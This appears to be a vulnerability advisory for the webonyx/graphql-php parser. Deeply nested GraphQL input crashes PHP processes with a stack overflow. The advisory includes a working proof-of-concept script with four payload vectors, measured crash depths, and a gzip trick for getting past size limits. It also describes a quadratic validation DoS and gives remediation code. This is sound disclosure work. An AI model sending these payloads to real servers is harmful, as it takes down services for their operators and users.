webonyx/graphql-php has unbounded recursion in parser that causes stack overflow on crafted nested input

This finding has been tested against the latest stable release webonyx/[email protected] running on PHP 8.3.30.

Root Cause

// src/Language/Parser.php:168
class Parser
{
    // ... no recursionDepth field ...
    private Lexer $lexer;

    // src/Language/Parser.php:325
    public function __construct($source, array $options = [])
    {
        $sourceObj = $source instanceof Source
            ? $source
            : new Source($source);
        $this->lexer = new Lexer($sourceObj, $options);
    }

There is no field tracking recursion depth. Every recursive parse method calls itself without bound. PHP function call frames are small (~256 bytes each), but the cumulative depth needed by recursive descent for a GraphQL value literal exhausts an 8 MB stack at approximately 26,000-37,000 levels of input nesting (depending on the call chain depth per AST level).

Proof of Concept

// composer require webonyx/graphql-php:v15.31.4
<?php
require __DIR__.'/vendor/autoload.php';
use GraphQL\Language\Parser;

// Each invocation tests one (vector, depth) pair so we can observe per-process
// exit code. SIGSEGV cannot be caught by PHP try/catch.
$v = $argv[1]; $d = (int)$argv[2];

switch ($v) {
    case 'A': $q = "{ a(x: " . str_repeat('{a: ', $d) . '1' . str_repeat('}', $d) . ") }"; break;
    case 'B': $q = str_repeat('{ a', $d) . str_repeat(' }', $d); break;
    case 'C': $q = "{ a(x: " . str_repeat('[', $d) . '1' . str_repeat(']', $d) . ") }"; break;
    case 'D': $q = "query(\$v: " . str_repeat('[', $d) . "Int" . str_repeat(']', $d) . ") { a }"; break;
}

try {
    Parser::parse($q);
    echo "OK depth=$d size=" . strlen($q) . "\n";
} catch (\Throwable $e) {
    echo "ERR " . get_class($e) . ": " . substr($e->getMessage(), 0, 80) . "\n";
    exit(1);
}

Crash thresholds measured on webonyx/[email protected], PHP 8.3.30, ulimit -s 8192, Linux x86_64

Each vector was bisected to find the smallest crashing depth. Process exit code 139 = 128 + SIGSEGV (11).

The smallest reliable crashing payload is vector C (nested list values) at approximately 74 KB. All four vectors stay under any field, complexity, or depth validation rule because they crash at parse time, before validation runs.

Process exit observed

$ php -d xdebug.mode=off poc_one.php C 37500
$ echo $?
139
$

Standard error contains no PHP error message, no stack trace, no log entry. The process is killed by the kernel via SIGSEGV. In a php-fpm deployment, the FPM master logs WARNING: [pool www] child 12345 exited on signal 11 (SIGSEGV) and respawns the worker, dropping any in-flight requests on that worker.

zend.max_allowed_stack_size does not help

PHP 8.3 introduced zend.max_allowed_stack_size (default 0 = auto-detect from pthread_attr_getstacksize) to detect userland recursion overflow and raise a catchable Stack overflow detected error. In testing against graphql-php v15.31.4, this protection does not prevent the segfault:

=== Default settings ===
$ php -d xdebug.mode=off poc.php A 30000
Segmentation fault
EXIT=139

=== zend.max_allowed_stack_size=2M ===
$ php -d zend.max_allowed_stack_size=2097152 poc.php A 30000
Segmentation fault
EXIT=139

=== zend.max_allowed_stack_size=1M, reserved=128K ===
$ php -d zend.max_allowed_stack_size=1048576 -d zend.reserved_stack_size=131072 poc.php A 30000
Segmentation fault
EXIT=139

=== ulimit -s 4096, default zend settings ===
$ php -d xdebug.mode=off poc.php A 15000
Segmentation fault
EXIT=139

Every configuration tested produces SIGSEGV. The runtime check is not catching this overflow class, possibly because the per-frame stack consumption is below the per-call check granularity, or because the auto-detection of the available stack diverges from the actual ulimit -s in containerized environments. Either way, default PHP 8.3 configurations as shipped by official Docker images do not protect against this.

Why try/catch cannot help

PHP's try { Parser::parse($q); } catch (\Throwable $e) { ... } cannot catch SIGSEGV. The signal is delivered by the kernel after the C stack pointer crosses the guard page; the PHP runtime never gets a chance to raise a userland exception. The process exits with status 139 and the catch block is never entered.

Impact

• Process termination: a single 74 KB POST kills the entire PHP process that handles it. In php-fpm, the worker is killed and respawned by the master; every other in-flight request on that worker is dropped. In long-running PHP runtimes (Swoole, RoadRunner, ReactPHP), the entire daemon dies.
• Pre-validation: Parser::parse is invoked before any validation rule. Field count caps, complexity analyzers, persisted query allow-lists, and all custom validators run after parsing and therefore cannot intercept the crash.
• No catchable error: unlike a slow query, a memory_limit exceeded, or a parse error, SIGSEGV cannot be intercepted by PHP. There is no error log entry from the PHP application; only the FPM master log shows child exited on signal 11.
• Tiny payload: 74 KB is well below every common HTTP body size limit. The query is also extremely compressible: [ repeated 37,500 times compresses to a few hundred bytes via gzip, bypassing nginx client_max_body_size, AWS ALB body-size caps, and WAF inspection of the encoded payload.
• Ecosystem reach: webonyx/graphql-php is the parser used by Lighthouse (Laravel), Overblog/GraphQLBundle (Symfony), wp-graphql (WordPress), Drupal GraphQL module, and the majority of PHP GraphQL servers. Any of these is exposed unless the front layer rejects the decompressed payload before reaching the parser.

Affected Versions

• webonyx/[email protected] (latest stable as of 2026-04-08): all four vectors confirmed by direct measurement.
• The recursive descent design has been unchanged since the parser was rewritten in v15.x. Earlier 15.x and 14.x releases share the same code path and are believed vulnerable but were not retested individually.

Remediation

Option 1 -- Add a parser-level recursion depth counter (recommended)

Add a recursionDepth and maxRecursionDepth field to GraphQL\Language\Parser. Increment at the entry of each recursive method, decrement on return, and throw a SyntaxError when it exceeds the configured limit. A sensible default is 256: well above any realistic legitimate query, and approximately 100x below the smallest current crash threshold.

// src/Language/Parser.php
class Parser
{
    private int $recursionDepth = 0;
    private int $maxRecursionDepth;

    public function __construct($source, array $options = [])
    {
        $this->maxRecursionDepth = $options['maxRecursionDepth'] ?? 256;
        // ... existing body ...
    }

    private function parseValueLiteral(bool $isConst): ValueNode
    {
        if (++$this->recursionDepth > $this->maxRecursionDepth) {
            throw new SyntaxError(
                $this->lexer->source,
                $this->lexer->token->start,
                "Document exceeds maximum allowed recursion depth of {$this->maxRecursionDepth}."
            );
        }
        try {
            // ... existing body ...
        } finally {
            --$this->recursionDepth;
        }
    }
}

Apply the same pattern to parseSelectionSet, parseObject, parseObjectField, parseList, parseTypeReference, parseInlineFragment, and parseField. The thrown SyntaxError is a normal PHP exception and is fully catchable by user code.

Option 2 -- Iterative parsing for the deepest call chains

Rewrite parseValueLiteral / parseObject / parseList and parseTypeReference using an explicit work stack instead of mutual recursion. This removes the call frame budget entirely for those vectors but does not address parseSelectionSet, which is harder to convert.

Option 3 -- Recommend a token limit option in addition to depth

graphql-php currently has no token limit option at all. Adding a maxTokens parser option would provide defense in depth even if the recursion limit is misconfigured.

The strongest fix is Option 1 with a non-zero default for maxRecursionDepth.

Audit status of related parser-side findings on graphql-php 15.31.4

The following two related parser/validator findings were tested against webonyx/[email protected].

Token-limit comment bypass

Not applicable: graphql-php exposes no maxTokens option of any kind. The bypass class does not apply because there is no token counter to bypass. However, this is itself a finding worth documenting: graphql-php has no parser-side resource limits whatsoever. A 391 KB comment-padded payload (100,000 comment lines) is parsed in 193 ms with a +18.4 MB heap delta, with no upper bound. Operators relying on graphql-php as their primary line of defense have no parser-level mitigation against query-size DoS, only the global memory_limit and PHP's post_max_size.

The Lexer::lookahead method does loop while $token->kind === Token::COMMENT (so comments are silently consumed before any per-token check would run), but in graphql-php this is moot because there is no maxTokens counter to bypass in the first place.

OverlappingFieldsCanBeMerged validation DoS

graphql-php is vulnerable. src/Validator/Rules/OverlappingFieldsCanBeMerged.php:311 contains an O(n^2) pairwise loop, and inline fragments are flattened into the same $astAndDefs map at line 266 (case $selection instanceof InlineFragmentNode: $this->internalCollectFieldsAndFragmentNames(... $astAndDefs ...)), bypassing the named-fragment cache. Measured validation cost: 117 seconds for a 364 KB query (200 outer x 100 inner inline fragments). This is documented in a separate advisory: see GHSA_REPORT_GRAPHQL_PHP_15-31-4_OVERLAPPING_FIELDS.md.

This audit covers the three parser-side and validation-side findings tracked together for this implementation. The parser stack overflow documented above and the OverlappingFieldsCanBeMerged validation DoS are exploitable on graphql-php 15.31.4; the token-limit comment bypass is not applicable because there is no token limit option to bypass (which is itself a defense-in-depth gap).

Resources

• PHP documentation zend.max_allowed_stack_size -- introduced in PHP 8.3
• Linux signal(7) -- SIGSEGV (signal 11) is delivered by the kernel for invalid memory access; PHP cannot intercept it
• Companion advisory for this implementation: OverlappingFieldsCanBeMerged quadratic validation DoS via flattened inline fragments (Quadratic validation cost in OverlappingFieldsCanBeMerged via inline fragments).